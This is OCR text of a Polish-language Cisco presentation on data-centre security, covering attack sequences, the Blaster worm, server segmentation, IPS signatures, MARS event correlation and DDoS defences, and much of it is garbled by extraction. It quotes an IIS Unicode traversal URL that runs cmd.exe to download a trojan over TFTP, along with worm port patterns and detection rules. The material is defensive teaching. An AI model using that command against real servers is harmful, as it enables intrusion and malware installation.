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Problemy — zagrozenia i wyzwania
Jak wyglada CPD?

Segmentacja farmy serweréw

Opcje projektowe
Mechanizmy IPS
Bezpieczenstwo aplikacji
Zapobieganie atakom DDoS

Monitoring i analiza pracy CPD




Problemy — wyzwania i zagrozenia




Typowa sekwencja ataku na CPD

Wiamanie na serwer przez aplikacje

Segment L2 Segment L3

=

Baza danych

Aplikacjal/frontend

* Po skanowaniu, wlamywacz wykorzystuje konkretng luke (lub
zestaw luk) do ataku

« Zwykle dochodzi do otworzenia powiloki systemowej

* Na przyktad (skopiowanie trojana na zaatakowany system):

HTTPS://www.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c
+tftp%20-i1%2010.20.15.15%20GET%20trojan.exe%20trojan.exe




Sekwencja wiamania - Blaster

135
Jednoczesne
potaczenie na TCP/135
w blokach po 20 IP
Po dwéch sekundach 135 > <«—— Port 4444
wystanie exploita DCOM
do potaczonych hostow : - -
Wykonanie ataku Buffer Overflow
i otworzenie kanatu kontrolnego
] do powtoki na porcie 4444
Potaczenie do portu 4444 4444
Uruchomienie serwera _
TFTP i
Skopiowanie msblast.exe 69
< = Sciaggniecie msblast.exe
Zamkniecie serwera TFTP 4444 R
Uruchomienie msblast.exe i
Zapisanie do rejestru Windows, —— |~
Rozpoczecie SYN Flood do o
windowsupdate.com od 16 sierpnia




,2Wzorce” atakow, ktore znamy...

Port Port Przesylanle

Blaster 4444 TFTP-69 Syn-Flood MSFT

Spida 1433 445 SMB-445 Email

Sasser 445 9996 FTP-5554 Skan

Korgo 445 113,2041,... 2000-8191 TCP Backdoors
IRC Connect

HTTP Download

Zotob 445 8888 FTP-33333 IRC Conn-8080




Jak wyglada CPD?




Typowa topologia CPD

e e

S
?i_g Przetaczniki brzegowe
- I «-}I{- Przetaczniki szkieletowe

—— - Przetaczniki agregacyjne
Eﬂ%—a P Eﬂ% } Przetaczniki dostepowe

........................................ - Sekcja WWW

- Se% S8 Sekcja aplikaciji

Sekcja baz danych




Topologia dwoch potaczonych CPD

Active/active lub active/standby
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Cisco Business Ready Data Center

Kompletne rozwigzanie bezpieczenstwa

szyfrowanie 3DES/AES, identyfikacja klientéw

i
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SSL, IPSEC
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graniczen acznie i na sekunde)

fixups, ISN randomization

HTTP, DNS,
TT




Segmentacja w farmie serwerow




Po co segmentowac serwery?

OgraniczenieQb ' '
7

osiggalnosci

a

| fEEgE
Zapobiega
komunikaciji po
dowolnych portach

Zatrzymanie mozliwosci pobrania
a robakéw lub wystania wlasnych
informacji w niekontrolowany

sposéb
QDOgranlcza l!l!l- .
Exploit ontrol File
ropagacje

v DB Blaster 4444 TFTP-69 Syn-Flood
Spida 1433 445 SMB-445 Email Info

Raportowanie Sasser 445 9996 FTP-5554 Scan

zdarzen i wlaman Korgo 445 113,2041,... 2000-8191 Steal

Zotob 445 8888 FTP-3333 IRC




Budowa zestawu regutf ruchowych

122051
122040110
122010110
122010110
122015103
122015105
122015105
12.20.44 .43
1722821477
1722821477
1722821477

icmp 40
nbt-name =]
ms-sol-ser 41
icmg 4
hitps 436
hittg 3136
icmg 40
hittg 465595
icap 17
hittg 1108
CEA-5401 25

4720
576
288079
32
146623
1104563
320
3341214
1990
1338173
29225

Data Flow between all CSA hosts

Verbose report of all HTTP connections made to VMS hosts

G3T:5TPN
bl Address Local Process Operation
-app Lexample.com .
000010 aspret_wpexe CONNECT
000050 inetinfoexe CONNECT
000050 inetinfoexe CONNECT
DO000/80 inetinfo exe ACCEPT
000050 lssrv exe CONNECT
001056 lsass exe CONNECT

TO

TO
TO
FROM

TO
TO

Peer Host Peer

duwamish-dbl example c 10103

om

<Unknowns 10.52.205.
=Unknowns 10.52.205.2
duwarish-weh] exarnple 10101
oot

=Unknowms 1052205
=Unknowms 10,52 209

Query Lype: Custom Colurmns ranked by Tire, Td-0h:iom [F0] [Fer

[Source 1P [Destination 1P [Service [Events

Joewi

ce [Reported User |Keyword [Operation [Rule [Action |

ANY

anr Bultnardown/parmitted 1P comnnction b

Query Results EFE

[Baurce 10
0000 @
1220520 [3)
1220520 [3)
12.20.5.10 [4)
12.20.5.10%
12.20.6.105 [
12206205 [
12206205 [
12206208 [
12206205 B
12.20.6.108
12206106 [3)
12:20.6.106 [3]
12.20.6.106 [4]
12.20.6.106 [4)
122030000 [

[Bestination Port
ald

[=] Growss: 2, Totar: 7
[

a0y [§)

S0t [3)

[Z) Srawss: 5, Total:

s 3

[#] Growss: 3, Totar: 20

awr any Nans AWy ANy

| save asseport | | | [ submit |

Save As Rule

NAM—per Host CSA—per Proces MARS/FWSM—per VLAN

U Source Destination Rule Applied | o S L=
HostiMetwork Hosthetwork To Traffic |
= CEAMCS G GroupwebServers | Mincoming |outside we- 5401/udp
1722821477
= oMy a812.20.5.0124 Mincoming |outside IE0p
1722821477
4 v @ any B8 GroupwehServers | Bincoming | outside 3 Groupperrni...
5 Eflocal_hosts B8 GroupwehServers | Bincoming | outside W 1211
v 172.28.214.0024
& B\ databasel & apj Bincoming |outside 1Eip
v 122010110 1220510
7 o @ any @ any Bincoming |outside I ip In_|
(6 ~
‘| | H




Projektowanie

segmentacji w farmie
serwerow




Od separacji fizycznej do logiczne]

bezpieczer’\stwo, ustugi wysokiej dostepnosci




Platforma sieciowa dla CPD

« Catalyst 6500
3,4, 6,9 lub 13 slotow

po 40Gbit/s per slot, do 48Mp/s per slot w modelu rozproszonego
przetwarzania

do 32 tysiecy ACL obstugiwanych sprzetowo

obstuga mechanizméw bezpieczenstwa L2/L3

mechanizmy CoPP

duza ilos¢ kart serwisowych

w petni modularny software




Catalyst 6500

Portfolio kart serwisowych

Modut FWSM

Modut VPN SPA w SCC

Modut IDS/IPS

Moduty Guard/TAD

Modut WebVPN




A. Model typowy

» Konfiguracja z droggq zapasowa

* Polaczenia L3 P2P do szkieletu

« SLB routowany na jednym
interfejsie
Server-to-server CSM offload
PBR/sNAT dla ruchu wracajacego
CSM routuje ruch
* RHI wykorzystany do ‘Sciggniecia’
ruchu

Szkielet

5
Gbps RHI
— VIPx ,,

Agregacjal

bpdu ‘.,!:;.,;, Sync ._W‘ * Bezpieczenstwo
forwarding - Firewalle pracujace w L2

) Wiele kontekstow (wirtualnych instanciji)
Dostep » Petla z aktywnym PVST+

Podwadjne uplinki

- -  Potowa zasobow nieaktywna
o o dow




B. Model active-active

=TT

10
Gbps
,,
' P e
RAREE N
STP Root Blue |

Z

HH W~
T l_!zf_’.-
[

hsrp Primary
Red
STP Root Red

Uzywa kart ACE i FWSM
3.1

Load-balancing na
poziomie VIP, VLAN

Model active-active:
Potaczenia dostepowe
Dostepne ustugi

Podwaja taczna
wydajnos¢
poszczegodlnych
elementéw

Wymaga dostepu z petla
w warstwie dostepowej




. Zintegrowanie ustug firewall i SLB

* Funkcje firewall i SLB
zapewnia ACE

« Uproszczony projekt i
dziatanie

 Wydajnos¢ na poziomie
16/32Gbit/s

* Bez petli w dostepie

16-32
Gbit/s

 Mozliwosci karty ACE vs
FWSM

Nie wszystkie rozszerzenia i
ustugi zaawansowane sg
obstugiwane

Sledzenie:
zaréowno HSRP
jak i ACE sledzg
dostep do
aktywnych
VLANOGW




D. ,,Kanapka” wykorzystujagca VRF

* W petni funkcjonalny zestaw
logicznych instancji
 Wydajnos¢ serwer-serwer

Pomija karty FWSM i ACE w przypadku
ruchu w tym samym zestawie VRFéw

« Elastyczna topologia dostepowa

L2 z petlg
L2 bez petli
L3
wspotdzielony
VRF
-

ip vrf BLUE
rd 10:10

import 40:40
export 10:10
ip vrif GREEN
rd 20:20
import 40:40
export 20:20
ip vrif SHARED
rd 40:40
import 10:10
import 20:20
export 40:40




Wykrywanie wiaman i korelacja

zdarzen




Wykrywanie robakow

Przykladowy wzorzec

evildsAlert: eventld=1122377757155804093 vendor=Cisco severity=medium
originator:
hostld: ips1
time: September 20, 2005 8:04:28 PM UTC offset=0 timeZone=UTC
signature: description= Nachi Worm ICMP Echo Request id=2158 version=5167
sigDetails: Nachi ICMP

interfaceGroup: ) Log Pair Pack:,
vlan.: 0 2148 1 Machi Warm ICMP Echo Req... Yes Produce Verk

2004 ICMP echo request: MS ping

.28.214.3 locality=OUT triggerPacket:

actions: 000000 00 05 5F E5 64 00 00 0C 29 DE B2 0B 08 00 45 00 .._.d...).....E.
ipLoggingActivated: true 000010 00 3C 22 3000 00 200150 F2 0C 14 05 0A OC 14 <"0.. .P.......
logPairPacketsActivated: true 000020 OA 6E 08 00 A6 59 02 00 A7 04 41 42 43 44 45 46 .n...Y....ABCDEF
ipLoglds: 000030 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 GHIJKLMNOPQRSTUV

01737076 000040 57 41 42 43 44 45 46 47 48 49 WABCDEFGH]

“““ B E8 OE 99 00 DO 04 AE 94 OA 08 00 45 00 . {...........E.
000010 00 5C B1 DC 00 00 77 01 FC E7 AC 1E 66 9E AC 1C .\....w.....f...
000020 D6 03 08 00 BO OD 02 00 FO 9C AAAAAAAAAAAA ..o
000030 AA AA AA AA AA AA AA AA AA AA AA AAAAAAAAAA ...
000040 AA AA AA AA AA AA AA AAAAAAAAAAAAAAAAAA ................
riskRatingValue: 60

interface: ge0_0
protocol: icmp




Wykrywanie robakow

Skan sieci

evldsAlert: eventld=1122377757155804106 vendor=Cisco severity=low
hostld: ips1
time: September 20, 2005 8:04:28 PM UTC offset=0 timeZone=UTC

signature: description= ICMP Network Sweep w/Echo id=2100 version=52

subsigld: 0
interfaceGroup:
vian: 0
patticipants: ] .
Gtacker: ) Mechanizmy heurystyczne pozwalaja
adar192.30.102.158 locality=OUT Wykryé wiele rodzajéw skanowania
target:
addr: 192.28.214.3 locality=OUT SigID | SubSigID Name Enabled | Action E _ seatar |
target: 3001 0 | TGP Port Sweep No | Produce et | wl
addr: 192.28.214.4 locality=OUT 3002 0 | TCP SYN Port Sweep ves | Produce Alert Add
target: 3003 0 | TCP Frag SYM Port Sweep Yes | Produce Alert Clone |
addr: 192.28.214.8 |oca||ty:OUT 3008 0 | TCPFIM Port Sweep ‘fes Produce Alert ]
target, 3006 0 | TCP Frag FIM Port Sweep fes Froduce Alert Ll
_' o 3010 0 | TCP High Port Sweep Mo Produce Alert Enable |
addr: 192.28.214.20 Iocallty—OUT 3011 0 | TCP FIN High Port Sweep ves | Produce Alert Disable |
target' . 3012 0 | TCP Frag FIN High Port Sweep|  Yes Produce Alert -
addr: 1922821422 |Oca||ty:OUT s 0 | TCP Mull Por Sweep Yes Produce Alert &l
tal’get: 3016 0 | TCP Frag Mull Part Sweep Yes Produce Alert Restare Defaults |
addr: 192.28.214.23 locality=OUT 3020 0 | TCP SYNFIM Fort Sweep ves | Produce Alert . |
actions. 30 ] TCP Frag SYM FIM Port Sweep fes Froduce Alert
. Activate |
dI’O edpacket_ true 3030 0 | TCP 8%N Host Sweep Yes Froduce Alert
pp 0 0 | TCPFRAG SYN Host Sweep Yes Praduce Alert Retire |
(_jenled_AttaCker' true 3032 0 | TCPFIMNHost Sweep Yes | Produce Alert |
riskRatingValue: 50 o | 3

interface: ge0_0
protocol: icmp




Problem z systemami

,,LOgl, wszedzie s3 logi!”

IDS/IPS

MNessus Setup
Messusd host ‘ Plugins I Credentials I Scan Options | Target ‘ User\ Prefs, l KB | Credits
Target selection
Target(s) : |10.52.205.205 | [ Read file... ]
[] Perform a DNS zone transfer

# Type Sensor UTC Time Event D [ TTETITS Py 1

16 alertinformati... 05 May 2005 17:14:13UTC | 1111498934520602497 Back Door Probe (TCF 099E) 9044
17 alertinformati... 05 May 2005171413 UTC | 1111498934529602498 Back Door Probe (TCP 10002) 3043
18alertiow:3? 05 May200517:14:13UTC | 1111498934529602490 Back Door Probe (TCP 10168) a024
18 alertinformati... 05 May 2005 17:14:14 UTC | 1111498034520602500 Back Daor Prabe (TCP 12348) an00
20 alertinformati... 0 May 2006 17:14:16 UTC | 1111498934529602501 Back Door Probe (TCP 16858) 9013
21 alertinformati... 05 May 2005 17:14:17 UTC | 1111498934520692502 Back Door Probe (TCP 20034) 9005
22 alertinformati... 05 May 2005 17:14:17 UTC | 1111498934529692503 Back Door Probe (TCP 20168) 9025
23 alertinformati... 05 May 2006171418 UTC | 1111498834520602504 Back Door Probe (TCP 23432) an15
24alertlow:3? 05 May 2005171418 UTC | 1111498934520602505 TCP Upper Port Sweep 3010
25 alertinformati... 05 May 2006 17:14:20UTC | 1111498934529602506 Back Daor Probe (TCP 27374) 9005
26 alertinformati... 05 May 2005 171420 UTC | 1111498934520602507 Back Door Prabe (TCP 27573) 901 4
27 alertinformati... 05 May 2005 17:14:21 UTC | 1111498934520692508 Back Door Probe (TCP 31337) a001
28 alertmediurm:... 05 May 200517-14:24 UTC | 1111498934520692513 Back Door Probe (TGP 36734) 9023
20 alertlow:37 05 May 2005171420 UTC | 1111498934529602518 TCP Upper Port Sweep 3010
0 alertiowd2 05 May200517:14:35 UTC | 1111498934529602519 TCP SYN Port Sweep 3002




Wizualizacja zdarzen — Cisco MARS

%’ 2 Info - Microsoft I... |:||E||E|
EJ 172.30.003.151 g . Blscﬂ SYSTEHS

Secure h\ 17230102141
.-"
| = 1.
B -x y B @
17230402458 3 \\“\x - " tmei-5.23hdmini.

J_ . _---_- ‘..1  — :I_
g — r&_——g
17230402, 156 et i ‘.ﬁ_. "'-.____ 17230402471 DEtEIilS |:|'|::

e o i i ",

-'.-.- -.r .\..'. ---.--
-.I-. )
1?1.25.1&1.l1ﬂ 11‘].15.!%.145

% Drescription: Machi Woarm
172.37.75.106 tmel 523 admink. Spread and Do= via ICMP

Fing
£ L ]

Brazowy = Atakujacy
Czerwony = Zarazony
Purpurowy = Zarazony i atakujacy




Agregacja zdarzen i incydentow

ne: System Rule: Network nctivitvéucessive Denies - hst Compromise Likely Status: Active

Mone Time Range: 0 1'355>
ion: This carrelation rule detects a large frequency (excess of 10/sec) of denies from a particular host to a particular destination part. This is a typical behavior of &
compromised host looking to exploit hosts with a specififc vulnerability.
Eource IP |Destination IP(Service Name Event Device Reported [Keyword|Severity [Count| ) Close|Operal
User | —
FTARGETOL, ANT $AMT_DEST_FPORTL FirewallPolicyWiolation/ACL, ANY Maone ANY AN QDD ’
BT FirewallPolicyWialation/MAT,
AttacksProtected
——
Rule Name: System Rule:dmn Traffic Increase To P@ Status: Active
Action: Mone Time Range: Oh:10m
Description: This rule detects scans statistically significant increase in traffic to a particular port,
Open ( |Source IP |(Destination IP|(Service Name Event Device Reported |Keyword|Severity |Count| ) Close|0Operat|
User
AMYT AT AN Sudden increase of traffic to a port AMT MNone AMT AN 1
— W
Name: System Rule: Client Exploit Q;ser Worm ) Status: Active
pn Mone Time Range:
ription: This correlation rule detects a successful infection spread of the Sasser worm - an attack on port 445 followed by the any of the following {alcommand shell

connection to the wictirm on port 9998, (b)Y an FTP connection back to the victirn on port 5554, () excessive scans on port 445 from the victim, This indicates
that both the source and the destinations are likely infected with the Sasser worm, This worrn exploits the Microsoft Windows vulnerability as described in
Microsoft Securty Bulletin ME04-011

{ |Source IP |Destination IP|Service Mame Ewvent Device|Reported |Keyword |Severity |Count| ) Close|Dperation
User
$TARGETO1, $TARGETOZ, User Defined (src ANT AN MNone ANT ANT 1 FOLLOW ED-
AN ANT port: ANY, dst port: BY
445, proto: TCP)
$TARGETOL1, $TARGETOZ, User Defined (src ANT AN Mone ANT ANT 1 OF
AR AMT port: AN, dst port:
9994, proto: TCP)
$TARGETOZ, $TARGETOL, User Defined {src ANYT AN Mane AN AN 1 3 QR
AR AMT port: ANT, dst port:
5554, proto: TCR)
FTARGETOZ, ANY User Defined {src FirewallPolicyViolation/AaCL, AN Mone AMT AMT 100 3
AT port: AN, dst port: FirewallPolicyWiolation/aa4,

445, proto: TCPY FirewallPolicwiyjolation AT




Robak ztapany dzieki systemowi MARS

Incident ID: 1054794248 | Escalate | | Expand All | | Collapse All |

Offset|Session f Event Type Source IPfPort Destination IPfPort Protocol | Time Reporting |Reported|Path
Incident ID _L—"" Vi User Mitig

4 511521933, Machi Worm Spread and )72.28.141.210 [3] 0 [3] 172.28.2145 [3] 0[3] ICMP [3] Aug 25, 2005 10:4a:48 pM PO ipsi[] B
110547240 DoS via ICMP Ping[q]/%

5 Ted 172.28.141.210 [4) 0 [{] [F] Total: 100

IF connection[d)

5 :15390300, Built/teardown/permitted 172,28,141.210 [q] 0 [4] 172.26.214.0 [a] 2048 [a] ICMP [a] Aug 25, 2005 10:48:
1110547342 4% TP connection[q]& ‘

5 $:15390301, Built/teardown/permitted 172,28.141.210 [q] 0 [d] 172.268.214.1 [d4] 2048 [3) 1CMP [a] Aug 25, 2005 10:45:39 PM PDT tmel-5d)
110547942 % 1P connection [q]&

5 $:15390302, Built/teardown/permitted 172,28.141.210 [q] 0 [4] 172,268,214 6 [4] 2048 [q) ICMP [q] Aug 25, 2005 10:48:39 PM PDT tmel-5/d]
1110547942 % TP connection [d]& =

5 $:15390296, Built'teardown/permitted 172,28,141.210 [q] 0 [4] 172.28.214.8 [4] 2048 [4] ICMP [q] Aug 25, 2005 10:48:
110547942 % TP connection [a]& "

5 $:15390303, Built/teardown/permitted 172.28,141.210 [q] 0 [a] 172.28.214.21 [q] 2048 [q] ICMP [4] Aug 25, 2005 10:48:39 PM POT tmel-5[q]
1110547342 4% TP connection[q]&

5 5115390304, Built/teardown/permitted 172,28 141,210 [q] 0 [d] 172.28.214.24 [9] 2048 [q) ICMP [4] Aug 25, 2005 10:48:39 FM POT tmel-5[q]
1110547342 4 TP connection[q]&

5 $:15390305, Built/teardown/permitted 172,28.141.210 [q] 0 [4] 172.28.214.29 9] 2048 [q) ICMP [q] Aug 25, 2005 10:48:39 PM PDT tmel-5/d]
1110547942 1P connection [q)&

5 5115390306, Built/teardown/permitted 172,28.141.210 [q] 0 [d] 172.28.214.30 [9) 2048 [4) 1CMP [a] Aug 25, 2005 10:45:39 PM PDT tmel-5[d)
110547942 2 1P connection [q) &

5 5115390307, Builtteardown/permitted 172.28,141.210 [q] 0 [q] 172.28.214.31 [q] 2048 [q] ICMP [q] Aug 25, 2005 10:48:39 PM POT tmel-5[q]
1110547342 4% TP connection[q]&




Mozliwosci raportowania systemu MARS

Szukanie hostow ktore zaatakowano

Query Event Data
Click the cells below to change query criteria:

Query tvpnked by Sessions (Firing Events Onf '

Mozliwosé
szczegoltowego
zebrania
informaciji o

Source |Destination |Service|Events|Device|Reported Keyword Operation|Rule Action
i | konkretnych
Ay ANT ANT ANT ANT ANT Keywords not supported for firing Mone Swstern Rule: Worm AN ” -
event queries Propagation - Attempt hoscle
P~
|Rank |l:ount (# of Sessions) Raw Source IP / |Defined Hosts
: [ | 1 8091 172.28.141.210 [q] =
Query Results [ | 2 6618 172.30.102.141 [4)
3 8410 172.30.102.156 [q]
£.091 4 5904 172.30.102.158 [4)
730 || 5 5803
7402 172,30,102.151 [4)
B [ ] 3 4490 172.30,102.171 [q]
2403 || 7 428 172.27.36.32 3]
5,009
end [ ] g 2511 172.25.71.85 [q]
3303
3409 || a 1300 172.19.48.102 [3]
¥ a0 [ | 10 409 172,78.214.126 [4] H-172.28.214.126[q)
2,209
i 11 400 172,28.214.118 [4) H-172.28.214.118[q]
1003
oo 1z 225 172.27.75.106 [4]
13 202 172.27.35.148 [q]
14 16 172.25.228.9 [4]
LR}
° 46 000 sesli 15 15 172.28.228.7 [q]
’ 15 15 172.25.228.8 [4]
” 17 13 172.25.80.146 [q]
e 22 hOStOW 15 4 172.25.228.6 [4]
zarazonych w L azre d
. 19 1 10.61.1.168 [4]
Cl g u 19 1 10.66.152.233 [4]
ostatnich 30 S ezl
- p—
dnl. .. @Sessinns: 46658

= —




Zapobieganie wiamaniom




Blokowanie na drodze pakietu - inline IPS

&Gl @ €) > @ @ | should perform when it detects the Cisco SYSTEMS
_ =) selected signature(s). To assign an M
Configuration honitoring Back Forward Refresh Help action, selectthe check hox next to the .
= @ Sensor Setup *| — Signature Configuration action. A check mark indicates the action
---@Nelwnrk -
---@lelnwed Hosts SelectBy: Al Signatures ﬂ Select Deny Attacker Inlin Salact All

i Q 55H Deny Packet Inlin Select Al |
B 4, Certificates Sig 1D | SubSig 1D Mame |

[] Log Attacker Pack  SelectMone

~Hinime 2005 ICMP Time Exceeg) [ L00 PairPackets MDA Link

= @, Analysis Engine ®. Cisco IDM 5.0 - 172.28.214. 146

o
Blusers _ [ Lo Victim Packel
= @, Interface Configuratiol 2006 il [CMP Parameter Py
---@Imerraces Froduce Alert
2007 1] ICMP Timestamp R
-Sinterface Pairs [ Froduce Yerbose Clone |
---@Eypass 2008 0 | ICMP Timestamp | [] Request Block He — |
~ B Traffic Flow Motific: 2009 0 ' [ | Reguest Snmp Tt
0
0
0

: ’ 2010
L Tlvintual Sensor File Help
; 2011
--"@Glnbal Wariables Cisco Systems
= Q Signature Definition 2012 - _ @ e t ? M
Configuration Monitoring Back Forwvard Refresh Help .

@Blgnature Yariahle
SN Signature Configu
@Custnm Signature

L8IMiscellaneous [

Denied Attackers

@Actwe Host Blncks
: @Netwurk Elocks The sensor is currently denying these IP addresses. The reset count and clear
@IP Logging actions apply to all items in the table.

;—---@E\rents

B Q, Support Information
E—---@Diagnnstics Report
- Mlctatistics

B gyster Infarrmation

IP Address Hit Count

17230102141 32

17230102151 a
17230102156 v




Wyznaczenie indeksu RR

EI Q, Signature Definition ) ) ) ) ;ﬁdeli’w
@agnature Variahle Sig ID | SubSig ID MHarme Enahled Action Severity _Ratin Twpe
B s ionature Configu f114 4 WY IS Unicode Attack ¥es | Produce Aler hediurm 858 | Defaull
@Cusmm Signature A —
- Miscellaneaus [ || 5114 1| WWW IS Unicode Attack ves | o DATTACE T e ium 100 | Tuned
Froduce Yerbo...
B G, Event Action Rules —
- S Event Variables arget Value Rating (TVR) Target IP Address SE|EEW¥”

argetValue Ratin
E—---@Event Action Overri
E—---@Event Action Filters
E----@Gnaneral Settinns

 Doktadnosé 0-100

» Stopien zagrozenia samego zdarzenia 25-100
25 (info), 50 (low), 75 (med), 100 (high)

* Poziom wartosci konkretnego celu 75-200
75 (low), 100 (med), 150 (high), 200 (critical)

High | 0.0.0.0-2




Przypisywanie akcji na podstawie RR

®. Cisco [DM 5.0 - 172.28.214.1446

File Hela
a @ @ \_,J @ ? Gisco SysTems
Configuration Monitoring Back Forward Refresh Help

Eh Q, Interface Confiquratiol Ewent Action Overrides

5—---®Interfaces
-@Inteﬁace Pairs An Event Action Owerride lets wou assign a Risk Rating (RR) range to each event action type. If an event

-@B — occurs and the RR value for that event falls within the defined range for a particular action, that action is
; @ (i . added to the event. An Event Action Override applies to all signatures that fall within the defined range.
- NTrafiic Flow Motific You must select Use Event Action Overrides to use any override that is currently enabled.

B G Analysis Engine

- Bhlvitual Sensor Villse Event Action Overrides!
- BlGlobal variables

= G, Signature Definitian
---@Signature Yariahle
---@Signature Canfigul

Ewent Action Enahled Risk Rating Select All

!

---@Custnm Signature Deny Connection Inline Yes Add

---@Miscellaneuus Deny Packet Inline Mo 25-100 Edit |
B G, Event Action Rules Produce Werbose Alert Yesg aa-100

~§hlEvent ariables Reset Tep Connection Mo 85-100 Enable |

---@Target Walue Rati

E'-.-'Em Action i Disable |

---@Event Action Filters

---@General Settings Delete |
= G, Blacking

---@Blucking Propertie
---@Device Lagin Profil
---@Blucking Devices

---@RDuterBchking D
- BRICat 6K Blocking D
---@MasterBlucking S
= G SR

?---@General Caonfigura Anply Reset
I - jj
*

|

IDM is initialized successiully. ciseo administrator =]




Bezpieczenstwo aplikacji




Ataki odbywaja sie w warstwie aplikacii...

Ponad 75% atakéw
odbywa sie tutaj

A aplikacji baz danych

System System System
operacyjny operacyjny operacyjny

Sieciowy
firewall IPS




Zabezpieczenie serwerow

Cisco Security Agent

Cisco SYSTEMS Management Genter for Gisco Security Agents v5.0

« Zintegrowany system klasy
H I PS Events » status Summary

| Network Status
» Events recorded in the past 24 hours: 11346

Opcje dla stacji i serwerow e

» fActive hosts with Cisco Security Agent security disabled:

ation Analysis Maintenance Reports Search

&

w

# fctive hosts running an old configuration:
» fActive hosts running old software:

WindOWSILinUXISOIariS » Unprotected hosts:

» Hosts in state condition Untrusted rootli? detected:
# Hosts with unsupported platform:
» Hosts not actively polling (status unknown):

- Pozwala na dokfadng

» Query rules with saved answer in the past 24 hours:

L]
korelac od procesu e [+ itz Aol '
—
» Hosts » Rules » Applications » Rules, Applications
File access control [554] [3245 events]

two rzqceg O ru c h s ie c i owy, \Program Files\Connected\COBackup.exe

[ Event Counts Per Day |

po poszczegodlne elementy T -

- - B Error and above
s I e c I Warning
Notice
I I B Inforrnation

13 14 15 16 17 18 10 20 21 22 23 24 25 26

=3 =
Moo oo s o O jw jw jw

|Datahase Maintenance |
» Alerts: 1)

|Refresh |
Refreshing in <05 minutes | Refresh interval | 5 minutes




Appliance AVS 3100 - mozliwosci

e Ochrona cookies * Ochrona (maskowanie)
Szyfrowane specyfiki serwerow WWW
Uwierzytelnione * Generowanie stron btedéw, lub
Max age ‘czyszczenie’ stron bledow

« Ochrona (maskowanie) pol aplikacyjnych

pozwalajacych na kradziez - Normalizacja URLi i standardu
tozsamosci zapisu znakéw, przekierowan

* Generowanie regut  Nakladanie limitéw na zapytania

:oezpleczenstwa z istniejacych — ilosciowych i objetosciowych
ogow

- Zapobieganie atakom

* Ochrona na podstawie SQL injection

zgodnosci z protokotem HTTP
Lista wspieranych metod

Command injection

Cross site scripting
Kontrola typéw MIME

(audio/mpeg/imagel/jpeg, etc.) Format string attack

Meta char detection
LDAP injection
Buffer overflow




AVS 3100

Opcje umieszczenia w topologii

Model monitoringu OOB
Latwe do wdrozenia
Zachowana widocznos¢ atakéw
Monitoring per-aplikacja/VLAN

Span
Port

Tryb pracy inline
Wdrozenie transparentne dla sieci,

Blokowanie, logowanie, przepisywanie,
przekierowanie, generowanie stron
btedéw, tagowanie URL.i, naktadanie

polityk z doktadnoscia do ustug

Model bramy
Akceleracja WWW, redukcja op6znien i
optymalizacja transmisji TCP, load-
balancing w ramach klastra,
terminowanie SSL, wszystkie
mechanizmy dostepne w trybie inline




Ochrona farm serwerow przed

atakami (D)DoS




Cele ataku (D)DoS

« Cel to oczywiscie
uniemozliwienie swiadczenia
ustug

 Mozna to osiagna¢ przez atak
na:
serwer
urzadzenie sieciowe po drodze

potaczenie CPD

 Moze zostac potaczone z
falszowaniem adreséw zrédiowych
* ,,Przy okazji” dostaje sie
rédwniez...

...routerom, innym systemom na
drodze ataku — catej infrastrukturze

Tablice stano
Pasmo




Mechanizmy ochrony przez SYN flood

SYN-Cookies

* Problem powodzi SYN

Jesli TCP SYN wymaga
allokacji pamieci po stronie
serwera, jest to atak DoS
serwera

=}

= * Cookie tworzone
| —— jakO hash z pakietu
SYN ACK SYN

Stos sieciowy TCP przetrzyma
pakiet SYN w stanie
SYN_RCVD do wygasniecia

Nie trzeba falszowa¢ zadnych
danych z nagtéwka — w tym
adresu zrédiowego IP

* Dzieki wykorzystaniu
SYN-cookies, serwer ani

. . . . Odszyfrowanie
urzadzenia sieciowe nie

i sprawdzenie

muszg allokowaé pamieci éCKk_ 1 cookie
. . 7z ooKie +
— zwigkszajac odpornosc¢ Nawiazanie
na atak DoS potaczenia
TCP




DoS z punktu widzenia MARS

Incident ID: 24777a30& | Escalate | | Expand All | | Collapse all

Offset|Session f Event Source IPfPort Destination Protocol|Time Reporting |(Reported|Path f |False
Incident ID IPfPort Device User Mitigate |Positive

1 s:27526454, f Sudden .0.0.0 [4] o [4] 12.20.5.105 [4] 80 [4] IF [4] ~ ©ct 13, 2005 1:00:15 &M PO Lotsalogs False Positive
1:24777828¢L, Increase

L2477 7azopErNaf traffic =
[:24777EI0ET
[

Half-open

\2.13.13.13 [9] 0 [4] [] Total: 2
SYH

3 Ceny 13.15.13.13 [q] 27023 [9] 12.20.5.105 [a] 80 [4] TCP [4] Groups:
connection

- no

xlate[q]

3 Deny 13.13.13.13 [q] 27023 [3] 12.20.5.105 [4] 80 [4] TCP [9] ©ct 13, 2005 12:43:52 AM PDT web[q)
connection Total: 18
- no
xlate [d]

3 Deny 13.13.13.13 [q] 27023 [3] 12.20.5.105 [4] 80 [4] TCP [9] ©et 13, 2005 12:48:53 AM PDT web|q]
connection Total: 72
- no
xlate [d]

3 Deny 13.13.13.13 [q] 27023 [3] 12.20.5.105 [4] 80 [4] TCP [9] ©ct 13, 2005 12:49:54 AM PDT web[q)
connection Total: 10
- no
xlate [d]

Korelacja zdarzen:

* Wewnetrzne mechanizmy MARS

* Informacje z systeméw IPS

» Trafienia w reguty odrzucajace pakiety w ACL systemoéw firewall
* Netflow




Anti-Spoofing

Test uRPF

« Mechanizm uRPF

wykorzystuje tablice routingu

do sprawdzenia adresu
zrodiowego

* |ldealnie dostosowana do sieci
budowanych w oparciu o L3

(routowanych)

My |

Zrédtowy IP

10.20.5.80 of

Potaczenia
do
szkieletu

Outside

Inside

10.20.10.0
‘ IP Verify Unicast Source Reachable-via Rx Allow-Default




Moduty Cisco Guard/Anomaly Detector

Ochrona przed atakami DoS/DDoS dla DC

(@) 192.168.3.0/24 [110/2] via 10.0.0.3, 2d11h, GigabitEthernet2
192.168.3.128/32 [20/0] via 10.0.0.2, 00:00:01
192.168.3.128 = zone 10.0.0.2 = Guard
Ruch do stefy 3. Przekierowanie do Guarda

4. Filtrowanie

Ruch prawidiowy

6. Ruch do innych stref = .
nie jest modyfikowany zr::te - -

Injection
( RHI)

I: @ | Modut Guard

Mcwdula mykrywanla

Aktywacja (Auto/Reczna)

1. Wykrycie anomalii

Podejrzany ruch
il

5. ,,Wstrzelenie ruchu” z powrotem

Atakowana strefa

Zone 1: WWW  74ne 2: Serwery DNS Zone 3: Aplikacje e-commerce




Monitoring sieci




Rozwigzywanie problemow

